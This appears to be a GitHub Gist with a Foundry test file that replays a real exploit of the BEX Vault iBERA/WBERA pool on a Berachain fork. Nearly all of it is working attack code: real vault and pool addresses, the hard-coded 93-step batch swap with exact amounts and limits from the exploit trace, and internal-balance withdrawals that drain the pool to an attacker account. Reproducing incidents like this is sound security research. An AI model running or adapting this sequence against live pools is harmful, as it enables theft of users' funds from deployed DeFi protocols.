Last active
December 8, 2025 13:39
-
-
Save sandybradley/1a78f26bb49d14f23bc933652b574bf9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| pragma solidity ^0.8.20; | |
| import "forge-std/Test.sol"; | |
| import "forge-std/console.sol"; | |
| interface IBEXVault { | |
| enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL } | |
| struct UserBalanceOp { UserBalanceOpKind kind; address asset; uint256 amount; address sender; address payable recipient; } | |
| struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } | |
| struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } | |
| enum SwapKind { GIVEN_IN, GIVEN_OUT } | |
| function getInternalBalance(address user, address[] memory tokens) external view returns (uint256[] memory); | |
| function manageUserBalance(UserBalanceOp[] memory ops) external payable; | |
| function batchSwap( | |
| SwapKind kind, | |
| BatchSwapStep[] memory swaps, | |
| address[] memory assets, | |
| FundManagement memory funds, | |
| int256[] memory limits, | |
| uint256 deadline | |
| ) external returns (int256[] memory assetDeltas); | |
| function getPoolTokens(bytes32 poolId) external view returns ( | |
| address[] memory tokens, | |
| uint256[] memory balances, | |
| uint256 lastChangeBlock | |
| ); | |
| } | |
| interface IERC20 { | |
| function balanceOf(address) external view returns (uint256); | |
| function approve(address, uint256) external returns (bool); | |
| } | |
| interface IPool { | |
| function updateTokenRateCache(address token) external; | |
| } | |
| contract BEXExploitTest is Test { | |
| IBEXVault public constant VAULT = IBEXVault(0x4Be03f781C497A489E3cB0287833452cA9B9E80B); | |
| address public constant POOL = 0x62C030B29a6Fef1B32677499e4a1F1852a8808c0; | |
| address public constant WBERA = 0x6969696969696969696969696969696969696969; | |
| address public constant IBERA = 0x9b6761bf2397Bb5a6624a856cC84A3A14Dcd3fe5; | |
| bytes32 public constant POOL_ID = 0x62c030b29a6fef1b32677499e4a1f1852a8808c00000000000000000000000c6; | |
| address attacker; | |
| function setUp() public { | |
| // Block 12623717 is right before the hack at block 12623718 | |
| vm.createSelectFork("https://rpc.berachain.com", 12623717); | |
| attacker = makeAddr("attacker"); | |
| deal(attacker, 10 ether); | |
| // Real attacker had 0 BPT - they relied on Vault's internal balance netting | |
| vm.label(attacker, "Attacker"); | |
| vm.label(address(VAULT), "BEX Vault"); | |
| vm.label(POOL, "Victim Pool"); | |
| vm.label(WBERA, "WBERA"); | |
| vm.label(IBERA, "iBERA"); | |
| vm.startPrank(attacker); | |
| } | |
| function test_CheckPoolState() public view { | |
| console.log("=== POOL STATE AT BLOCK 12623717 ==="); | |
| (address[] memory tokens, uint256[] memory balances,) = VAULT.getPoolTokens(POOL_ID); | |
| for (uint i = 0; i < tokens.length; i++) { | |
| console.log("Token:", tokens[i]); | |
| console.log(" Balance:", balances[i]); | |
| } | |
| // Check actual attacker's BPT balance | |
| address realAttacker = 0xB5B9F9F965B43c579166745f3e9484109888286d; | |
| uint256 attackerBPT = IERC20(POOL).balanceOf(realAttacker); | |
| console.log("\nReal attacker BPT balance:", attackerBPT); | |
| } | |
| function test_ExploitAndDrainToEOA() public { | |
| // This test needs BPT to start (uses fromInternalBalance: false) | |
| deal(POOL, attacker, 1e18); | |
| // 1. Update rate cache | |
| IPool(POOL).updateTokenRateCache(IBERA); | |
| // 2. Approve BPT | |
| IERC20(POOL).approve(address(VAULT), type(uint256).max); | |
| // 3. Batch swap: BPT → WBERA + iBERA (GIVEN_OUT) | |
| address[] memory assets = new address[](3); | |
| assets[0] = POOL; assets[1] = WBERA; assets[2] = IBERA; | |
| IBEXVault.BatchSwapStep[] memory swaps = new IBEXVault.BatchSwapStep[](2); | |
| swaps[0] = IBEXVault.BatchSwapStep(POOL_ID, 0, 1, 1e6, ""); // 1 WBERA | |
| swaps[1] = IBEXVault.BatchSwapStep(POOL_ID, 0, 2, 1e6, ""); // 1 iBERA | |
| int256[] memory limits = new int256[](3); | |
| limits[0] = int256(1e18); // max BPT in | |
| limits[1] = -int256(1e6); // min WBERA out | |
| limits[2] = -int256(1e6); // min iBERA out | |
| IBEXVault.FundManagement memory funds = IBEXVault.FundManagement( | |
| attacker, false, payable(attacker), true | |
| ); | |
| int256[] memory deltas = VAULT.batchSwap( | |
| IBEXVault.SwapKind.GIVEN_OUT, swaps, assets, funds, limits, block.timestamp + 300 | |
| ); | |
| uint256 bptIn = uint256(-deltas[0]); | |
| console.log("BPT paid:", bptIn); | |
| console.log("WBERA out:", uint256(deltas[1])); | |
| console.log("iBERA out:", uint256(deltas[2])); | |
| // 4. Check internal balance | |
| address[] memory tokens = new address[](2); | |
| tokens[0] = WBERA; tokens[1] = IBERA; | |
| uint256[] memory bal = VAULT.getInternalBalance(attacker, tokens); | |
| console.log("Internal WBERA:", bal[0]); | |
| console.log("Internal iBERA:", bal[1]); | |
| // 5. EXPLOIT: Withdraw internal → EOA (via manageUserBalance) | |
| IBEXVault.UserBalanceOp[] memory ops = new IBEXVault.UserBalanceOp[](2); | |
| ops[0] = IBEXVault.UserBalanceOp({ | |
| kind: IBEXVault.UserBalanceOpKind.WITHDRAW_INTERNAL, | |
| asset: WBERA, | |
| amount: bal[0], | |
| sender: attacker, | |
| recipient: payable(attacker) | |
| }); | |
| ops[1] = IBEXVault.UserBalanceOp({ | |
| kind: IBEXVault.UserBalanceOpKind.WITHDRAW_INTERNAL, | |
| asset: IBERA, | |
| amount: bal[1], | |
| sender: attacker, | |
| recipient: payable(attacker) | |
| }); | |
| // This sends to EOA! | |
| VAULT.manageUserBalance{value: 0}(ops); | |
| // 6. Profit! | |
| uint256 finalWBERA = IERC20(WBERA).balanceOf(attacker); | |
| uint256 finalIBERA = IERC20(IBERA).balanceOf(attacker); | |
| console.log("Final WBERA in EOA:", finalWBERA); | |
| console.log("Final iBERA in EOA:", finalIBERA); | |
| assertGt(finalWBERA, 0, "No WBERA drained"); | |
| assertGt(finalIBERA, 0, "No iBERA drained"); | |
| console.log("Exploit successful! Drained to EOA."); | |
| } | |
| /* | |
| * NOTE: This test attempts to recreate the exact 93-swap sequence from the real exploit. | |
| * | |
| * It uses the exact swap amounts from the exploit trace to ensure the swaps execute correctly. | |
| * | |
| * The CORE VULNERABILITY is fully demonstrated in test_ExploitAndDrainToEOA(): | |
| * 1. Batch swap with toInternalBalance=true accumulates tokens in Vault internal balance | |
| * 2. manageUserBalance(WITHDRAW_INTERNAL) can send those tokens to an EOA | |
| * 3. This bypasses the intended BPT-only withdrawal mechanism | |
| */ | |
| function test_ComplexExploitWithMultipleSwaps() public { | |
| console.log("=== COMPLEX EXPLOIT: Recreating actual ibera/wbera pool hack ==="); | |
| // Real attacker had 0 BPT! They relied on Vault's internal balance netting | |
| // No deal() needed - vault will net the swaps | |
| uint256 initialBPT = IERC20(POOL).balanceOf(attacker); | |
| console.log("Initial BPT balance:", initialBPT); | |
| // 1. Update rate cache for iBERA | |
| console.log("\n[1] Updating iBERA rate cache..."); | |
| IPool(POOL).updateTokenRateCache(IBERA); | |
| // 2. Approve BPT | |
| console.log("[2] Approving BPT..."); | |
| IERC20(POOL).approve(address(VAULT), type(uint256).max); | |
| // 3. Build complex batch swap array (93 swaps total) | |
| console.log("[3] Building complex batch swap (93 swaps)..."); | |
| address[] memory assets = new address[](3); | |
| assets[0] = POOL; // BPT | |
| assets[1] = WBERA; // WBERA | |
| assets[2] = IBERA; // iBERA | |
| IBEXVault.BatchSwapStep[] memory swaps = new IBEXVault.BatchSwapStep[](93); | |
| uint256 idx = 0; | |
| { | |
| // Phase 1: BPT → WBERA and BPT → iBERA (exact amounts from exploit trace) | |
| // These amounts were carefully crafted to work with the pool's swap calculations | |
| uint256[24] memory phase1Amounts = [ | |
| uint256(111588918027812644504598), uint256(122997064900339905875121), | |
| uint256(1115889180278126445046), uint256(1229970649003399058751), | |
| uint256(11158891802781264450), uint256(12299706490033990587), | |
| uint256(111588918027812645), uint256(122997064900339906), | |
| uint256(1115889180278126), uint256(1229970649003399), | |
| uint256(11158891802782), uint256(12299706490034), | |
| uint256(111588918027), uint256(122997064901), | |
| uint256(1115889181), uint256(1229970649), | |
| uint256(11158891), uint256(12299706), | |
| uint256(111589), uint256(122997), | |
| uint256(1116), uint256(1230), | |
| uint256(12), uint256(13) | |
| ]; | |
| for (uint256 i = 0; i < 12; i++) { | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 0, 1, phase1Amounts[i * 2], ""); | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 0, 2, phase1Amounts[i * 2 + 1], ""); | |
| } | |
| } | |
| { | |
| // Phase 2: Alternating swaps between WBERA ↔ iBERA | |
| // Pattern: 2 WBERA→iBERA, 1 iBERA→WBERA, repeat | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 8665, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 63000, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 7102, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 49500, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 5898, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 38700, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 5399, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 30600, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 4904, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 25200, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 4677, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 19800, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 3654, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 16200, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 3493, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 13500, ""); // iBERA → WBERA | |
| // Continue with more complex patterns | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 3256, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 10800, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 2757, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 9000, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 2532, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 7830, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 2381, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 6750, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 2160, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 6030, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1987, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 4941, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1352, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 4455, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1299, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 4212, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1237, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 4230, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1552, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 3870, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1441, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 3078, ""); // iBERA → WBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1004, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 3078, ""); // iBERA → WBERA | |
| } | |
| { | |
| // Phase 3: Swap back to BPT (increasing amounts) | |
| uint256[] memory backAmounts = new uint256[](14); | |
| backAmounts[0] = 10000; | |
| backAmounts[1] = 10000000; | |
| backAmounts[2] = 10000000000; | |
| backAmounts[3] = 10000000000000; | |
| backAmounts[4] = 10000000000000000; | |
| backAmounts[5] = 10000000000000000000; | |
| backAmounts[6] = 10000000000000000000000; | |
| backAmounts[7] = 112117974432634393243678; | |
| backAmounts[8] = 112117974432634393243678; | |
| for (uint256 i = 0; i < 7; i++) { | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, (i % 2 == 0) ? 1 : 2, 0, backAmounts[i], ""); | |
| } | |
| // Final two large swaps back to BPT | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 0, backAmounts[7], ""); | |
| swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 0, backAmounts[8], ""); | |
| } | |
| { | |
| // 4. Execute batch swap with internal balance | |
| console.log("[4] Executing complex batch swap..."); | |
| int256[] memory limits = new int256[](3); | |
| // CRITICAL: Use EXACT limits from real exploit | |
| // These specific values allow the internal balance netting to complete | |
| // The value is: 2^254 - 2^128 (approximately) | |
| int256 exploitLimit = int256(1809251394333065553493296640760748560207343510400633813116524750123642650624); | |
| limits[0] = exploitLimit; // BPT limit | |
| limits[1] = exploitLimit; // WBERA limit | |
| limits[2] = exploitLimit; // iBERA limit | |
| IBEXVault.FundManagement memory funds = IBEXVault.FundManagement( | |
| attacker, | |
| true, // fromInternalBalance (MUST match exploit - vault handles netting) | |
| payable(attacker), | |
| true // toInternalBalance (store in internal balance) | |
| ); | |
| int256[] memory deltas = VAULT.batchSwap( | |
| IBEXVault.SwapKind.GIVEN_OUT, | |
| swaps, | |
| assets, | |
| funds, | |
| limits, | |
| block.timestamp + 300 | |
| ); | |
| console.log("\nBatch swap results:"); | |
| console.log(" BPT delta:", uint256(-deltas[0])); | |
| console.log(" WBERA delta:", deltas[1] < 0 ? uint256(-deltas[1]) : uint256(deltas[1])); | |
| console.log(" iBERA delta:", deltas[2] < 0 ? uint256(-deltas[2]) : uint256(deltas[2])); | |
| } | |
| // 5. Check internal balances | |
| console.log("\n[5] Checking internal balances..."); | |
| address[] memory checkTokens = new address[](3); | |
| checkTokens[0] = POOL; | |
| checkTokens[1] = WBERA; | |
| checkTokens[2] = IBERA; | |
| uint256[] memory internalBal = VAULT.getInternalBalance(attacker, checkTokens); | |
| console.log(" Internal BPT:", internalBal[0]); | |
| console.log(" Internal WBERA:", internalBal[1]); | |
| console.log(" Internal iBERA:", internalBal[2]); | |
| // 6. EXPLOIT: Withdraw all internal balances to EOA | |
| console.log("\n[6] EXPLOIT: Withdrawing internal balances to EOA..."); | |
| uint256 opsCount = 0; | |
| if (internalBal[0] > 0) opsCount++; | |
| if (internalBal[1] > 0) opsCount++; | |
| if (internalBal[2] > 0) opsCount++; | |
| IBEXVault.UserBalanceOp[] memory ops = new IBEXVault.UserBalanceOp[](opsCount); | |
| uint256 opIdx = 0; | |
| if (internalBal[0] > 0) { | |
| ops[opIdx++] = IBEXVault.UserBalanceOp({ | |
| kind: IBEXVault.UserBalanceOpKind.WITHDRAW_INTERNAL, | |
| asset: POOL, | |
| amount: internalBal[0], | |
| sender: attacker, | |
| recipient: payable(attacker) | |
| }); | |
| } | |
| if (internalBal[1] > 0) { | |
| ops[opIdx++] = IBEXVault.UserBalanceOp({ | |
| kind: IBEXVault.UserBalanceOpKind.WITHDRAW_INTERNAL, | |
| asset: WBERA, | |
| amount: internalBal[1], | |
| sender: attacker, | |
| recipient: payable(attacker) | |
| }); | |
| } | |
| if (internalBal[2] > 0) { | |
| ops[opIdx++] = IBEXVault.UserBalanceOp({ | |
| kind: IBEXVault.UserBalanceOpKind.WITHDRAW_INTERNAL, | |
| asset: IBERA, | |
| amount: internalBal[2], | |
| sender: attacker, | |
| recipient: payable(attacker) | |
| }); | |
| } | |
| VAULT.manageUserBalance{value: 0}(ops); | |
| // 7. Show profit | |
| console.log("\n[7] PROFIT CALCULATION:"); | |
| uint256 finalBPT = IERC20(POOL).balanceOf(attacker); | |
| uint256 finalWBERA = IERC20(WBERA).balanceOf(attacker); | |
| uint256 finalIBERA = IERC20(IBERA).balanceOf(attacker); | |
| console.log(" Final BPT in EOA:", finalBPT); | |
| console.log(" Final WBERA in EOA:", finalWBERA); | |
| console.log(" Final iBERA in EOA:", finalIBERA); | |
| console.log(" BPT change:", finalBPT > initialBPT ? int256(finalBPT - initialBPT) : -int256(initialBPT - finalBPT)); | |
| // Verify the exploit worked | |
| assertGt(finalWBERA + finalIBERA, 0, "No tokens drained"); | |
| console.log("\n=== EXPLOIT SUCCESSFUL! Pool drained to EOA ==="); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment